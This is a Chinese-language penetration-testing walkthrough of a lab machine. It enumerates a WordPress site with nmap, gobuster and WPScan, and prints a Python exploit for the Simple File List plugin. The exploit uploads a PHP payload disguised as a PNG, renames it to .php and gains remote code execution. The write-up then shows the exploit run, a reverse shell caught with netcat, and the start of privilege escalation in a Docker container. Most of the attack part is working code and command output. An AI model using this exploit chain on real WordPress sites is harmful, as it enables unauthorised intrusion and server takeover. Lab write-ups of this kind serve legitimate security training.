┌──(root㉿kali)-[~/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-02 16:31 +0800 Nmap scan report for 192.168.2.1 Host is up (0.00072s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00060s latency). MAC Address: 08:00:27:48:23:C1 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.67 Host is up (0.00053s latency). MAC Address: 08:00:27:F9:7B:3D (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 7.54 seconds
靶机IP：192.168.2.67
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.67 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-02 16:31 +0800 Nmap scan report for 192.168.2.67 Host is up (0.0022s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3000/tcp open ppp MAC Address: 08:00:27:F9:7B:3D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 8.93 seconds
┌──(root㉿kali)-[~/miaosec] └─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80,3000 192.168.2.67 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-02 16:32 +0800 Nmap scan report for 192.168.2.67 Host is up (0.00082s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.62 (Debian) 3000/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: VOCALOID NEXUS – The Cyber-Digital Soul Archive | http-robots.txt: 1 disallowed entry |_/wp-admin/ |_http-generator: WordPress 6.9 |_http-server-header: Apache/2.4.51 (Debian) MAC Address: 08:00:27:F9:7B:3D (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.56 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[~/miaosec] └─# nmap -sU --top-ports 100 192.168.2.67 Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-02 16:33 +0800 Nmap scan report for 192.168.2.67 Host is up (0.00074s latency). All 100 scanned ports on 192.168.2.67 are in ignored states. Not shown: 60 closed udp ports (port-unreach), 40 open|filtered udp ports (no-response) MAC Address: 08:00:27:F9:7B:3D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 60.21 seconds
二、WEB渗透
1、HTTP 服务
访问80端口，没发现有用的信息
1 2 3
┌──(root㉿kali)-[~/miaosec] └─# curl http://192.168.2.67 index
2、目录扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
┌──(root㉿kali)-[~/miaosec] └─# gobuster dir -u http://192.168.2.67 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.67 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: txt,bak,php,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== index.html (Status: 200) [Size: 6] server-status (Status: 403) [Size: 277]
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] XML-RPC seems to be enabled: http://192.168.2.67:3000/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.2.67:3000/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.2.67:3000/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.9 identified (Latest, released on 2025-12-02). | Found By: Rss Generator (Passive Detection) | - http://192.168.2.67:3000/feed/, <generator>https://wordpress.org/?v=6.9</generator> | - http://192.168.2.67:3000/comments/feed/, <generator>https://wordpress.org/?v=6.9</generator>
[+] WordPress theme in use: twentytwentyone | Location: http://192.168.2.67:3000/wp-content/themes/twentytwentyone/ | Last Updated: 2025-12-03T00:00:00.000Z | Readme: http://192.168.2.67:3000/wp-content/themes/twentytwentyone/readme.txt | [!] The version is out of date, the latest version is 2.7 | Style URL: http://192.168.2.67:3000/wp-content/themes/twentytwentyone/style.css?ver=1.4 | Style Name: Twenty Twenty-One | Style URI: https://wordpress.org/themes/twentytwentyone/ | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.4 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.2.67:3000/wp-content/themes/twentytwentyone/style.css?ver=1.4, Match: 'Version: 1.4'
defupload(url, filename): files = {'file': (filename, open(filename, 'rb'), 'image/png')} datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path, 'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'} r = requests.post(url=f'{url}{upload_path}', data=datas, files=files, verify=False) r = requests.get(url=f'{url}{dir_path}{filename}', verify=False) if r.status_code == 200: print(f'[ ] File uploaded at {url}{dir_path}{filename}') os.remove(filename) else: print(f'[*] Failed to upload {filename}') exit(-1) return filename
defmove(url, filename): new_filename = f'{filename.split(".")[0]}.php' headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1', 'X-Requested-With': 'XMLHttpRequest'} datas = {'eeSFL_ID': 1, 'eeFileOld': filename, 'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'} r = requests.post(url=f'{url}{move_path}', data=datas, headers=headers, verify=False) if r.status_code == 200: print(f'[ ] File moved to {url}{dir_path}{new_filename}') else: print(f'[*] Failed to move {filename}') exit(-1) return new_filename
defmain(url): file_to_upload, password = generate() uploaded_file = upload(url, file_to_upload) moved_file = move(url, uploaded_file) if moved_file: print(f'[+] Exploit seem to work.\n[*] Confirmning ...') datas = {'password': password, 'cmd': 'phpinfo();'} r = requests.post(url=f'{url}{dir_path}{moved_file}', data=datas, verify=False) if r.status_code == 200and r.text.find('php') != -1: print('[+] Exploit work !') print(f'\tURL: {url}{dir_path}{moved_file}') print(f'\tPassword: {password}')
if __name__ == "__main__": if (len(sys.argv) < 2): usage() exit(-1) main(sys.argv[1])
进行利用
1 2 3 4 5 6 7
┌──(root㉿kali)-[~/miaosec/Nukem-PG-exploit] └─# python exploit.py "192.168.2.67:3000" [+] File renamed to reverse.png [+] File uploaded at http://192.168.2.67:3000/wp-content/uploads/simple-file-list/reverse.png [+] File moved to http://192.168.2.67:3000/wp-content/uploads/simple-file-list/reverse.php [^-^] Exploit seems to have worked... URL: http://192.168.2.67:3000/wp-content/uploads/simple-file-list/reverse.php
成功获取到shell
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[~/miaosec] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.67] 39374 Linux 949d50994487 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux 09:04:35 up 35 min, 0 users, load average: 0.05, 0.27, 0.23 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
四、权限提升
1、获取miku权限
发现是docker环境
1 2 3 4 5 6 7 8
$ ls -la / total 88 drwxr-xr-x 1 root root 4096 Jan 20 03:33 . drwxr-xr-x 1 root root 4096 Jan 20 03:33 .. -rwxr-xr-x 1 root root 0 Jan 20 03:33 .dockerenv drwxr-xr-x 1 root root 4096 Dec 21 2021 bin drwxr-xr-x 2 root root 4096 Dec 11 2021 boot ....